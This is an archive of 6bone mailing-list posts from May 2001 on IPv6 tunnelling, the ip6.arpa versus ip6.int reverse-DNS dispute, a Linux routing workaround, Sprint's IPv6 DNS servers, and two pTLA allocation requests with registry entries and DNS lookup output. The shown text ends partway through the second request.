> links, and also some automatically configured tunnelling using the 6to4
> mechanism (which isn't under the 6bone space at all as it has its own prefix).
>

Where can I find those native IPv6 links?

6to4, as I have understood, isn't a straight-IPv4-tunneling way?

Thanx Bob.

"No necesito amigos que cambien cuando yo cambio y asientan cuando yo asienta.
Mi sombra lo hace mejor". Plutarco, escritor griego (50-125).

-------------------------------------------------------------------------------
  	                   	   Julio Aparicio Varela
      		  	    E-MAIL:     se04839@salleurl.edu
  		      	    WEB PAGE:   http://www.salleurl.edu/~se04839
          		    ICQ NUMBER:
-------------------------------------------------------------------------------



From 6bone-owner  Wed May  2 11:35:34 2001
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Date: Wed, 02 May 2001 11:35:16 -0700
To: Julio Aparicio Varela <se04839@salleURL.edu>
From: Bob Fink <fink@es.net>
Subject: Re: ROUTING IPv6
Cc: <6bone@ISI.EDU>
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Julio,

At 07:48 PM 5/2/2001 +0000, Julio Aparicio Varela wrote:
>On Wed, 2 May 2001, Bob Fink wrote:
>
> > There is no requirement that folk participating in the 6bone use manually
> > configured tunnelling. At this time there are some (many?) native IPv6
> > links, and also some automatically configured tunnelling using the 6to4
> > mechanism (which isn't under the 6bone space at all as it has its own 
> prefix).
> >
>
>Where can I find those native IPv6 links?

You don't get to know that easily, just as you don't get to know if an ISP 
is using ATM or MPLS or SONET etc.

For the 6bone, it is best to ask the list. But don't get the impression 
there are lots of native paths to choose from, there aren't. I believe 
Japan has many. Our network (ESnet) does IPv6 over ATM.


>6to4, as I have understood, isn't a straight-IPv4-tunneling way?

6to4 is all about tunnelling. From the RFC 3056 "Connection of IPv6 Domains 
via IPv4 Clouds" abstract:

>Abstract
>
>    This memo specifies an optional interim mechanism for IPv6 sites to
>    communicate with each other over the IPv4 network without explicit
>    tunnel setup, and for them to communicate with native IPv6 domains
>    via relay routers.  Effectively it treats the wide area IPv4 network
>    as a unicast point-to-point link layer.  The mechanism is intended as
>    a start-up transition tool used during the period of co-existence of
>    IPv4 and IPv6.  It is not intended as a permanent solution.
>
>    The document defines a method for assigning an interim unique IPv6
>    address prefix to any site that currently has at least one globally
>    unique IPv4 address, and specifies an encapsulation mechanism for
>    transmitting IPv6 packets using such a prefix over the global IPv4
>    network.
>
>    The motivation for this method is to allow isolated IPv6 domains or
>    hosts, attached to an IPv4 network which has no native IPv6 support,
>    to communicate with other such IPv6 domains or hosts with minimal
>    manual configuration, before they can obtain natuve IPv6
>    connectivity.  It incidentally provides an interim globally unique
>    IPv6 address prefix to any site with at least one globally unique
>    IPv4 address, even if combined with an IPv4 Network Address
>    Translator (NAT).


Regards,

Bob


From 6bone-owner  Wed May  2 12:46:00 2001
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Date: Wed, 2 May 2001 21:45:49 +0200 (CEST)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
X-Sender: skypro@frigg.belbone.net
To: Ben Clifford <benc@hawaga.org.uk>
Cc: 6bone@ISI.EDU
Subject: Re: ip6.arpa
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Greetings,

On Wed, 2 May 2001, Ben Clifford wrote:
> Is ip6.arpa deployed yet?

> I can't seem to get any reverse lookups to work using /usr/bin/host
> supplied with bind-9.1.1 unless I use the ip.int nibble based option.
I guess you talk about the 'reverse DNS' for the IPv6 domain. It's
ip6.int. (not .arpa.)

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122



From 6bone-owner  Wed May  2 13:15:26 2001
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Date: Wed, 2 May 2001 20:15:03 +0000 (UTC)
From: Ben Clifford <benc@hawaga.org.uk>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: ip6.arpa
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On Wed, 2 May 2001, Kristoff Bonne wrote:

> > I can't seem to get any reverse lookups to work using /usr/bin/host
> > supplied with bind-9.1.1 unless I use the ip.int nibble based option.
> I guess you talk about the 'reverse DNS' for the IPv6 domain. It's
> ip6.int. (not .arpa.)

I can get ip6.int reverse resolution without any problem.

I was referring to the new ip6.arpa reverse resolution which BIND v9 can
do, which has different features: such as delegation on any bit
boundaries, not just nibbles and the ability to share the same reverse
lookup zones between multiple prefixes.

See rfcs 2874, 2672, 2673.

It doesn't seem to have been set up yet.

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!





From 6bone-owner  Thu May  3 02:46:40 2001
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Subject: Re: ip6.arpa
To: benc@hawaga.org.uk (Ben Clifford)
Date: Thu, 3 May 2001 02:46:37 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.10.10105021158490.5803-100000@krustbustr.hawaga.org.uk> from "Ben Clifford" at May 02, 2001 12:14:41 PM
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 not yet.  still using ip6.int.




% 
% 
% Is ip6.arpa deployed yet?
% 
% I can't seem to get any reverse lookups to work using /usr/bin/host
% supplied with bind-9.1.1 unless I use the ip.int nibble based option.
% 
% 
% Ben
% 
% -- 
% http://www.hawaga.org.uk/travel/ for my rotating world map applet
% http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!
% 


-- 
--bill

From 6bone-owner  Thu May  3 02:56:16 2001
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Subject: Re: ip6.arpa
To: benc@hawaga.org.uk (Ben Clifford)
Date: Thu, 3 May 2001 02:56:10 -0700 (PDT)
Cc: kristoff.bonne@skypro.be (Kristoff Bonne), 6bone@ISI.EDU
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% 
% I can get ip6.int reverse resolution without any problem.
% 
% I was referring to the new ip6.arpa reverse resolution which BIND v9 can
% do, which has different features: such as delegation on any bit
% boundaries, not just nibbles and the ability to share the same reverse
% lookup zones between multiple prefixes.
% 
% See rfcs 2874, 2672, 2673.
% 
% It doesn't seem to have been set up yet.

	Nope. it has not.  But you can do all that stuff
	in the ip6.int tree.  
% 
% -- 
% http://www.hawaga.org.uk/travel/ for my rotating world map applet
% http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!
% 
% 
% 
% 


-- 
--bill

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On Thu, 3 May 2001, Bill Manning wrote:

>  not yet.  still using ip6.int.
>
One senses an undercurrent of politics.  The docs glowingly state how
ip6.int is the way forward (eg in the ARM doc: ``While the use of
nibble format to look up names is deprecated, it is supported for
backwards compatiblity with existing IPv6 applications''), but there's no
sign of it  actually happening.

Bit of a conflict there if the only method in service is deprecated.

Pete.


From 6bone-owner  Thu May  3 06:28:13 2001
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To: Bill Manning <bmanning@ISI.EDU>
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<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
how do i get off this list?
<p>Bill Manning wrote:
<blockquote TYPE=CITE>%
<br>% I can get ip6.int reverse resolution without any problem.
<br>%
<br>% I was referring to the new ip6.arpa reverse resolution which BIND
v9 can
<br>% do, which has different features: such as delegation on any bit
<br>% boundaries, not just nibbles and the ability to share the same reverse
<br>% lookup zones between multiple prefixes.
<br>%
<br>% See rfcs 2874, 2672, 2673.
<br>%
<br>% It doesn't seem to have been set up yet.
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Nope. it has not.&nbsp; But
you can do all that stuff
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; in the ip6.int tree.
<br>%
<br>% --
<br>% <a href="http://www.hawaga.org.uk/travel/">http://www.hawaga.org.uk/travel/</a>
for my rotating world map applet
<br>% <a href="http://www.hawaga.org.uk/benc_key.txt">http://www.hawaga.org.uk/benc_key.txt</a>
PGP / GPG key 0x30F06950 - please use it!
<br>%
<br>%
<br>%
<br>%
<p>--
<br>--bill</blockquote>

<pre>--&nbsp;
Jerl Simpson
CIO -- CISTEK Consulting
---
The box said for Windows95 or better;
I installed linux.</pre>
&nbsp;</html>


From 6bone-owner  Thu May  3 07:22:13 2001
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Subject: Re: ip6.arpa
To: psb@ast.cam.ac.uk (Peter Bunclark)
Date: Thu, 3 May 2001 07:22:13 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.4.33.0105031217070.3267-100000@cass18> from "Peter Bunclark" at May 03, 2001 12:22:29 PM
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% 
% On Thu, 3 May 2001, Bill Manning wrote:
% 
% >  not yet.  still using ip6.int.
% >
% One senses an undercurrent of politics.  The docs glowingly state how
% ip6.int is the way forward (eg in the ARM doc: ``While the use of
% nibble format to look up names is deprecated, it is supported for
% backwards compatiblity with existing IPv6 applications''), but there's no
% sign of it  actually happening.
% 
% Bit of a conflict there if the only method in service is deprecated.
% 
% Pete.
% 

No!!! not politics!

Someone wrote a draft that became an RFC that stated: "the previous method
is depricated by this one", hence the statements in ARM et.al.  Of course 
there was the minor oversight in dealing w/ the:
	) the deployed based
	) lack of tools to effectivly use the new format

Hum....

(note that two years after CIDR effectivly squashed RIPv1, the IETF
published a document formally depricating RIPv1.  And it still has 
broad use.)  I guess the lesson here is that just 'cause someone says
something doen't make it so.

-- 
--bill

From 6bone-owner  Thu May  3 08:32:44 2001
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Date: Thu, 3 May 2001 15:32:26 +0000 (UTC)
From: Ben Clifford <benc@hawaga.org.uk>
To: Peter Bunclark <psb@ast.cam.ac.uk>
cc: 6bone@ISI.EDU
Subject: Re: ip6.arpa
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On Thu, 3 May 2001, Peter Bunclark wrote:

> One senses an undercurrent of politics.  The docs glowingly state how
> ip6.int is the way forward (eg in the ARM doc: ``While the use of
> nibble format to look up names is deprecated, it is supported for
> backwards compatiblity with existing IPv6 applications''), but there's no
> sign of it  actually happening.
> 
> Bit of a conflict there if the only method in service is deprecated.

It seems to be that way for A6 as well - BIND support for it, and not much
else, and not much motivation to change at the moment.

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!


From 6bone-owner  Fri May  4 02:01:31 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Bill Manning <bmanning@ISI.EDU>
cc: psb@ast.cam.ac.uk (Peter Bunclark), 6bone@ISI.EDU
Subject: Re: ip6.arpa 
In-Reply-To: <200105031422.f43EMDG22792@zed.isi.edu> 
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    Date:        Thu, 3 May 2001 07:22:13 -0700 (PDT)
    From:        Bill Manning <bmanning@ISI.EDU>
    Message-ID:  <200105031422.f43EMDG22792@zed.isi.edu>

  | No!!! not politics!

Yes, it is politics.   As you said in an earlier reply, you can do
DNAME, bit string labels, etc, in ip6.int (or any other domain).

Similarly, you could do a.b.c.d.e.f..... PTR lookups in ip6.arpa.

There was a decision made (100% political) to switch from ip6.int
to ip6.arpa - and BIND respected that decision in their implementation.

But no-one has bothered to actually delegate ip6.arpa, which really is
a pre-requisite for any kind of use of it at all (with any kind of
lookups).

  | Someone wrote a draft that became an RFC that stated: "the previous method
  | is depricated by this one", hence the statements in ARM et.al.  Of course 
  | there was the minor oversight in dealing w/ the:
  | 	) the deployed based
  | 	) lack of tools to effectivly use the new format

All that might explain why DNAME, etc, aren't used much.   Another
(additional) explanation might be that it has been made needlessly
difficult by people (which certainly wasn't the DNAME (etc) inventors, or
the ipngwg or dnsext working groups (or ngtrans either)) who insisted
that the domain should be changed (perhaps for good reason), but then
didn't arrange to make sure that the new one was actually ready to be
used by anyone wanting to try it.

I mean, this query was sparked by exactly that - someone who wants to
try it, that is, to become part of a new deployed base, and perhaps
either work around the lack of tools, or build some, but is being
stymied by the lack of the defined domain in which to actually do the work.

  | I guess the lesson here is that just 'cause someone says
  | something doen't make it so.

No.  But what really hurts is when someone says something, then does nothing
at all to make what they said possible.

Perhaps ipngwg should simply publish revised versions of those specs which
move back to using ip6.int rather than ip6.arpa, given that the latter
simply doesn't exist (just treat the reference to ip6.arpa as a bug in
the specification that has to be fixed).   And while we're waiting, updating
BIND (and anything else that is able to do new stlye IPv6 reverse lookups)
to use ip6.int instead of ip6.arpa can't be very hard...

kre


From 6bone-owner  Fri May  4 03:04:07 2001
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Date: Fri, 4 May 2001 12:04:01 +0200 (MET DST)
From: Joop Joosten <Joop.Joosten@cern.ch>
To: 6bone@ISI.EDU
Subject: reverse nslookup
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Hi all,
I found on the web several sites that resolve a name in an IPv6 address.
However, I did not find anywhere a place that allows me to resolve an
IPv6 address in a name. Such a "service" would allow me to check if the
reverse delegation is functioning. 
Can anybody give me a pointer to such a facility? 
Thanks, Joop.

 +-----------------------------------------------------------------------+
 |     Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland      |
 |Tel: +41 22 767 3361;  Fax: +41 22 767 7155;  E-M: Joop.Joosten@cern.ch|
 +-----------------------------------------------------------------------+


From 6bone-owner  Fri May  4 10:54:59 2001
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Date: Fri, 4 May 2001 17:54:28 +0000 (UTC)
From: Ben Clifford <benc@hawaga.org.uk>
To: 6bone@ISI.EDU
Subject: puzzling routing problem...
Message-ID: <Pine.LNX.4.10.10105041743330.18052-100000@krustbustr.hawaga.org.uk>
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I have installed trumpet winsock on a Win 95 box on my ethernet, and
pointed it at my linux box which also has a tunnel connection.

>From the W95 box, I can't ping any IPv6 addresses further than the far end
of my tunnel link - my linux box sends back ICMPv6 unreachable address
messages for each ping.

*unless* I also ping that address from the linux box, in which case the
ping works from my laptop up until exactly 10 seconds after I stop the
ping on the linux box.

It feels to me like there is some form of route calculation/caching which
is (not) happening, but I don't know enough about the guts of IPv6 and
it's linux implementation to work it out. 

Any clues?

Thanks,
Ben

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!


From 6bone-owner  Tue May  8 01:59:07 2001
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From: david.greaves@idl-bt.com
To: 6bone@ISI.EDU
Subject: RE: puzzling routing problem...
Date: Tue, 8 May 2001 09:30:03 +0100 
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as a workaround try:

 ip route add ::/1 via <linux tunnel IPv6 addr> dev <device - probably sit1>
on the router.

I don't know why this happens either.

David Greaves
--
Internet Designers Limited - a BT company 
Mobile: 07740 824106
IDL intranet site http://intranet.idl.bt.co.uk/
<http://intranet.idl.bt.co.uk/External> 
External web site http://www.internet-designers.net/
<http://www.internet-designers.net/> 


> -----Original Message-----
> From: Ben Clifford [mailto:benc@hawaga.org.uk]
> Sent: 04 May 2001 18:54
> To: 6bone@ISI.EDU
> Subject: puzzling routing problem...
> 
> 
> 
> I have installed trumpet winsock on a Win 95 box on my ethernet, and
> pointed it at my linux box which also has a tunnel connection.
> 
> From the W95 box, I can't ping any IPv6 addresses further 
> than the far end
> of my tunnel link - my linux box sends back ICMPv6 unreachable address
> messages for each ping.
> 
> *unless* I also ping that address from the linux box, in 
> which case the
> ping works from my laptop up until exactly 10 seconds after I stop the
> ping on the linux box.
> 
> It feels to me like there is some form of route 
> calculation/caching which
> is (not) happening, but I don't know enough about the guts of IPv6 and
> it's linux implementation to work it out. 
> 
> Any clues?
> 
> Thanks,
> Ben
> 
> -- 
> http://www.hawaga.org.uk/travel/ for my rotating world map applet
> http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 
> 0x30F06950 - please use it!
> 

From 6bone-owner  Tue May  8 07:19:22 2001
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From: Ben Clifford <benc@hawaga.org.uk>
To: david.greaves@idl-bt.com
cc: 6bone@ISI.EDU
Subject: RE: puzzling routing problem...
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> as a workaround try:

>  ip route add ::/1 via <linux tunnel IPv6 addr> dev <device - probably sit1>
> on the router.
> 
> I don't know why this happens either.

Great, that works a treat.

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!



From 6bone-owner  Tue May  8 12:15:21 2001
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Date: Tue, 8 May 2001 15:15:22 -0400 (EDT)
From: "Robert J. Rockell" <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: Sprint DNS announcement
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For those of you using Sprint's V6 DNS service, we now have native IPv6
service for DNS lookups.  ns1.sprintv6.net and ns2.sprintv6.net are now
answering queries for IPv6 over both protocols.

ns1.sprintv6.net.
	63.167.40.5
	2001:440:1239:1001::2

ns2.sprintv6.net.
	208.11.232.29
	2001:440:1239:1001::3

Both sit on the same IPv6 lan for now, but this will be changed going
forward within 1-2 weeks, as we diversify.  Enjoy. V4 addresses will follow
them, but ns1.sprintv6.net's ipv6 address will change in a week or two.

Sprint IPv6 customer who wish to have their zones delegated to them, please
send us mail, and we will do so. 

sorry for the plug to those not sprint customers.


Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
703-689-6322
Sprint E|Solutions: Thinking outside the 435 box
-----------------------------------------------------------------------



From 6bone-owner  Tue May  8 13:54:20 2001
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From: horape@tinuviel.compendium.net.ar
To: "Robert J. Rockell" <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
Subject: Re: Sprint DNS announcement
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¡Hola!

Just to remember you to delegate 1.a.9.2.e.f.f.3.ip6.int to

1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      puntoar-sgi01.puntoar.net.ar.
1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      alatariel.puntoar.net.ar.
1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      tinuviel.compendium.com.ar.
1.a.9.2.e.f.f.3.ip6.int. 86400  IN      NS      lutien.compendium.com.ar.

Thanks,
					HoraPe

On Tue, May 08, 2001 at 03:15:22PM -0400, Robert J. Rockell wrote:
> For those of you using Sprint's V6 DNS service, we now have native IPv6
> service for DNS lookups.  ns1.sprintv6.net and ns2.sprintv6.net are now
> answering queries for IPv6 over both protocols.
> 
> ns1.sprintv6.net.
> 	63.167.40.5
> 	2001:440:1239:1001::2
> 
> ns2.sprintv6.net.
> 	208.11.232.29
> 	2001:440:1239:1001::3
> 
> Both sit on the same IPv6 lan for now, but this will be changed going
> forward within 1-2 weeks, as we diversify.  Enjoy. V4 addresses will follow
> them, but ns1.sprintv6.net's ipv6 address will change in a week or two.
> 
> Sprint IPv6 customer who wish to have their zones delegated to them, please
> send us mail, and we will do so. 
> 
> sorry for the plug to those not sprint customers.
> 
> 
> Thanks
> Rob Rockell
> Principal Engineer
> SprintLink Europe/Asia
> 703-689-6322
> Sprint E|Solutions: Thinking outside the 435 box
> -----------------------------------------------------------------------
> 

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Tue May  8 14:21:43 2001
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Date: Tue, 08 May 2001 14:21:10 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for CYBERNET (www.eurocyber.net) - review closes
  22 May 2001
Cc: Robert Blechinger <rblechinger@cybernet-ag.net>
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6bone Folk,

CYBERNET (www.eurocyber.net) has requested a pTLA allocation. The open 
review period for this will close 22 May 2001. Please send your comments to 
me or the list.


Thanks,

Bob

===
>Date: Mon, 7 May 2001 22:20:50 +0200
>From: Robert Blechinger <rblechinger@cybernet-ag.net>
>To: fink@es.net
>Cc: 6bone@cybernet-ag.net
>Subject: Requesting a pTLA
>
>Hi Bob,
>
>My name is Robert Blechinger. I'm working for an ISP in germany called 
>Cybernet.
>-> http://www.cybernet.de
>The reason for contacting you is, that i want to request a pTLA.
>On the 6bone website stands that i have to write you the guidelins back.
>
>Regards Robert Blechinger
>
>Cybernet AG - NOC
>email: rblechinger@cybernet-ag.net
>Phone: +49 89 99315 - 116
>Fax:   +49 89 99315 - 199
>
>
>
><---------------------------------------------------------------------------------->
> >7. Guidelines for 6Bone pTLA sites
> >
> >   The following rules apply to qualify for a 6Bone pTLA allocation. It
> >   should be recognized that holders of 6Bone pTLA allocations are
> >   expected to provide production quality backbone network services for
> >   the 6Bone.
> >
> >   1. The pTLA Applicant must have a minimum of three (3) months
> >      qualifying experience as a 6Bone end-site or pNLA transit.   During
> >      the entire qualifying period the Applicant must be operationally
> >      providing the following:
>
>  We are online since 25. Januar 2001 over JOIN.
>
> >
> >      a. Fully maintained, up to date, 6Bone Registry entries for their
> >         ipv6-site inet6num, mntner, and person objects, including each
> >         tunnel that the Applicant has.
>
>Look at:
>inet6num:     3FFE:400:7B0::/48
>netname:      CYBERNET
>descr:        6bone NLA delegation assigned by pTLA JOIN
>country:      DE
>admin-c:      LUKE-RIPE
>tech-c:       LUKE-RIPE
>mnt-by:       CYBERNET-MNT
>changed:      rblechinger@cybernet-ag.net 20010125
>source:       6BONE
>
>ipv6-site:    CYBERNET
>origin:       AS8379
>descr:        Cybernet AG
>               Stefan-George-Ring 19-23
>               81929 Muenchen
>location:     48 09 00 N 11 45 0 E 500m
>country:      DE
>prefix:       3FFE:400:7B0::/48
>application:  ping 6bone-hst.muc.ipv6.eurocyber.net
>application:  ping sarah-hst.muc.ipv6.eurocyber.net
>application:  http www.ipv6.eurocyber.net
>tunnel:       IPv6 in IPv4 6bone-hst.muc.eurocyber.net -> 
>6bone.uni-muenster.de JOIN STATIC
>contact:      LUKE-RIPE
>contact:      AM2120-RIPE
>notify:       6bone@cybernet-ag.net
>mnt-by:       CYBERNET-MNT
>changed:      rblechinger@cybernet-ag.net 20010130
>changed:      rblechinger@cybernet-ag.net 20010131
>changed:      rblechinger@cybernet-ag.net 20010228
>changed:      rblechinger@cybernet-ag.net 20010502
>source:       6BONE
>
>
> >
> >      b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >         between the Applicant's boundary router and the appropriate
> >         connection point into the 6Bone. This router must be IPv6
> >         pingable. This criteria is judged by members of the 6Bone
> >         Operations Group at the time of the Applicant's pTLA request.
>
>We ( Cybernet, Join) made the compromise that a bgp session with an end 
>node makes no sense, as both sides filter every
>thing out, so that a simple tunnel makes more sense.
>Cybernet AG (AS8379) has been active at multiple peering points since the 
>beginning of 1997,
>and we are hoping that our IPv4 BGP4 peering experience will suffice. See 
>our AS Object
>for details. Should this not be the case please contact us, so that we can 
>set up our
>session with 'Join'.
>
> >
> >      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >         entries for the Applicant's router(s) and at least one host
> >         system.
>
>Yes. ns.muc.eurocyber.net and ns.fra.eurocyber.net do this work fine.
>0.b.7.0.0.0.4.0.e.f.f.3.IP6.INT is loaded ( reverse zone from our /48 we 
>got from Join )
>
> >      d. A fully maintained, and reliable, IPv6-accessible system
> >         providing, at a mimimum, one or more web pages, describing the
> >         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Yes, visit www.ivp6.eurocyber.net ( or IPv6: 
>sarah-hst.muc.ipv6.eurocyber.net  IPv4: sarah-hst.muc.eurocyber.net).
>There is a monitoring system, mrtg statistics and some networkplans on it.
>
> >
> >   2. The pTLA Applicant MUST have the ability and intent to provide
> >      "production-quality" 6Bone backbone service. Applicants must
> >      provide a statement and information in support of this claim.
> >      This MUST include the following:
> >
> >      a. A support staff of two persons minimum, three preferable, with
> >         person attributes registered for each in the ipv6-site object
> >         for the pTLA applicant.
>
>LUKE-RIPE ( me )
>AM2120-RIPE
> >
> >      b. A common mailbox for support contact purposes that all support
> >         staff have acess to, pointed to with a notify attribute in the
> >         ipv6-site object for the pTLA Applicant.
>
>6bone@cybernet-ag.net
>
> >
> >   3. The pTLA Applicant MUST have a potential "user community" that
> >      would be served by its becoming a pTLA, e.g., the Applicant is a
> >      major provider of Internet service in a region, country, or focus
> >      of interest. Applicant must provide a statement and information in
> >      support this claim.
>
>Cybernet AG is a european based provider with pops in Germany, Italy, Austria
>and Switzerland. For a list of customers, please examine our IPv4 blocks,
>ie: 195.143.0.0/16
>
> >
> >   4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >      operational rules and policies as they exist at time of its
> >      application, and agree to abide by future 6Bone backbone
> >      operational rules and policies as they evolve by consensus of the
> >      6Bone backbone and user community.
>
>We, Cybernet AG, commit to this point.

-end


From 6bone-owner  Tue May  8 14:21:44 2001
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Date: Tue, 08 May 2001 14:14:42 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for FBDC (www.freebit.net) - review closes 22 May
  2001
Cc: IWAIZAKO Takahiro <rabit@FreeBit.NET>
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Status: RO

6bone Folk,

FBDC (www.freebit.net) has requested a pTLA allocation. The open review 
period for this will close 22 May 2001. Please send your comments to me or 
the list.


Thanks,

Bob

===
>At 03:22 AM 5/1/2001 +0900, IWAIZAKO Takahiro wrote:
>Dear Bob,
>
>   We have connected 6bone a year ago by tunnel connectivity.
>The next week, we will have native connectivity with other ASes
>using BGP4+ at NSPIXP6(Tokyo, Japan). So please allocate for us pTLA
>addresses.
>
> From RFC 2772
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>  We have a year experience as a 6Bone end-site.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>inet6num:     3FFE:8085::/32
>netname:      FBDC
>descr:        NLA1 delegation for the 6bone
>country:      JP
>admin-c:      TI199
>admin-c:      WY1-6BONE
>tech-c:       TI199
>tech-c:       WY1-6BONE
>rev-srv:      NS1.FreeBit.NET
>rev-srv:      NS2.FreeBit.NET
>notify:       noc@FreeBit.NET
>mnt-by:       MNT-FBDC
>changed:      rabit@FreeBit.NET 20010430
>source:       6BONE
>
>ipv6-site:    FBDC
>origin:       AS10013
>descr:        FreeBit.Com
>country:      JP
>prefix:       3FFE:8085::/32
>application:  http www.FreeBit.Com
>application:  ping v6-router.Ot.FreeBit.NET
>tunnel:       IPv6 in IPv4 v6-router.Ot.FreeBit.NET -> ix6.otemachi.dti.ad.jp
>DTI BGP4+
>contact:      TI199
>contact:      WY1-6BONE
>url:          http://www.FreeBit.Com/
>notify:       noc@FreeBit.NET
>mnt-by:       MNT-FBDC
>changed:      rabit@FreeBit.NET 20010430
>changed:      rabit@FreeBit.NET 20010430
>changed:      rabit@FreeBit.NET 20010503
>source:       6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>tunnel:       IPv6 in IPv4 v6-router.Ot.FreeBit.NET -> ix6.otemachi.dti.ad.jp
>DTI BGP4+
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
> > set q=any
> > v6-router.Ot.FreeBit.NET
>Server:  NS2.FreeBit.NET
>Address:  211.14.152.21
>
>v6-router.Ot.FreeBit.NET        internet address = 210.143.144.4
>v6-router.Ot.FreeBit.NET        IPv6 address = 
>3ffe:8085:0:10:250:45ff:fe00:4844
>Ot.FreeBit.NET  nameserver = NS1.FreeBit.NET
>Ot.FreeBit.NET  nameserver = NS2.FreeBit.NET
>NS1.FreeBit.NET internet address = 211.14.152.20
>NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb
>NS2.FreeBit.NET internet address = 211.14.152.21
>NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3
> > www.freebit.com
>Server:  NS2.FreeBit.NET
>Address:  211.14.152.21
>
>www.freebit.com canonical name = www.FreeBit.NET
>freebit.com     nameserver = NS2.FreeBit.NET
>freebit.com     nameserver = NS1.FreeBit.NET
>NS1.FreeBit.NET internet address = 211.14.152.20
>NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb
>NS2.FreeBit.NET internet address = 211.14.152.21
>NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3
> > set q=ptr
> > 4.4.8.4.0.0.e.f.f.f.5.4.0.5.2.0.0.1.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT
>Server:  NS2.FreeBit.NET
>Address:  211.14.152.21
>
>4.4.8.4.0.0.e.f.f.f.5.4.0.5.2.0.0.1.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT 
>name = v
>6-router.Ot.FreeBit.NET
>5.8.0.8.e.f.f.3.IP6.INT nameserver = NS2.FreeBit.NET
>5.8.0.8.e.f.f.3.IP6.INT nameserver = NS1.FreeBit.NET
>NS1.FreeBit.NET internet address = 211.14.152.20
>NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb
>NS2.FreeBit.NET internet address = 211.14.152.21
>NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3
> > 3.3.f.6.f.8.e.f.f.f.7.b.0.d.2.0.1.0.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT
>Server:  NS2.FreeBit.NET
>Address:  211.14.152.21
>
>3.3.f.6.f.8.e.f.f.f.7.b.0.d.2.0.1.0.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT 
>name = w
>ww.FreeBit.NET
>5.8.0.8.e.f.f.3.IP6.INT nameserver = NS2.FreeBit.NET
>5.8.0.8.e.f.f.3.IP6.INT nameserver = NS1.FreeBit.NET
>NS1.FreeBit.NET internet address = 211.14.152.20
>NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb
>NS2.FreeBit.NET internet address = 211.14.152.21
>NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
> >ping6 www.freebit.com
